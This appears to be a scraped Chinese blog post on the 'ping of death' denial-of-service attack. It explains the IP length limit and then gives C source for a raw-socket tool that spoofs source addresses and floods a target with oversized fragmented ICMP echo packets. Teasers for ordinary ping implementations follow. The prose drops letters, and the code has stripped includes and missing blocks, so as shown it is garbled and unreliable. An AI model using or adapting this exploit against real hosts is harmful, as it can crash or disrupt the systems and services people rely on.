用C語言實現死亡之ping

2021-09-10 21:43:36 字數 2096 閱讀 4727

ping of death(ca199260(或 ping o death,國內有的譯作「死亡之png」)攻擊利用協議實現時的漏洞cve199028,向受害者傳送超長的ping資料報,導致受害者系統異常。根據tcpp規範rfc791要求,資料報的長度不得超過65535位元組,其中包括至少20位元組的包頭和0位元組或更多位元組的選項資訊,其餘的則為資料。而 internet控制訊息協議cmp是基於p的,cmp包要封裝到p包中?cmp的頭有8位元組

rfc792],因此,乙個icmp包的資料不能超過65535-20-8=65507位元組。如果攻擊者傳送資料超過65507的pig包到乙個有此漏洞的受害者,則由於ping包封裝到ip包以後,總的資料量超過了p包長的限制,則資料報會經過分片。當資料報分片到達受害者系統時需要進行重組,在重組超過65536的p包時,受害者系統出現異常,可能導致系統崩潰、宕機、重啟等。事實上,對於有的系統,攻擊者只需向其傳送載荷資料超過400位元組的ping包就可以達到目的 strother0,而不必使資料超過65507。

但是,如果直接用系統中提供的png命令傳送這麼大的資料會怎麼樣呢?在linux下,我們會看到如下的命令輸出:

#ping -c 1 -s 65535 192.168.0.1

error:packet size 65535 is to large.maximum is 65507

說明 linux只允許傳送資料載荷不超過65507的ping訊息。

在 windowsxp下會看到

那麼是否就沒辦法了呢?下面的**可以實現完成傳送資料載荷大於65500的ping訊息(在red hat linux7 核心版本2.4.7-10下除錯通過)

/* yah this is for linux, but i like the bsd ip header better then linux's */

#define __bsd_source

#include #include #include #include #include #include #include #include #include #include int main(int argc, char **ar**)

if (argc == 4) num = atoi(ar**[3]);

for (i=1;i<=num;i++)

if (setsockopt(s, ipproto_ip, ip_hdrincl, &on, sizeof(on)) < 0)

if ((hp = gethostbyname(ar**[1])) == null)

} else

if ((hp2 = gethostbyname(ar**[2])) == null)

} else

printf("sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = htons(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = htons(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = af_inet;

icmp->type = icmp_echo;

icmp->code = 0;

icmp->checksum = htons(~(icmp_echo << 8));

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))

if (offset == 0)

} close(s);

usleep(30000);

}return 0;

}

C語言實現ping命令(一)

ping命令使用到了網路中的icmp協議 關於icmp介紹看這裡 網路位址資訊 struct sockaddr in struct in addr struct in addr define in addr t uint32 t 無符號整型32位 還可以使用以下結構體 struct sockaddr...

linux下ping的C語言實現

include stdio.h include signal.h include arpa inet.h include sys types.h include sys socket.h include unistd.h include netinet in h include netinet ip...

Go語言實現ping命令

ping是使用icmp協議 icmp協議的組成 type 8bits code 8bits 校驗碼 checksum,8bits id 16bits 序號 sequence,16bits 資料 這些組成部分的含義 1 type icmp的型別,標識生成的錯誤報文 2 code 進一步劃分icmp的型...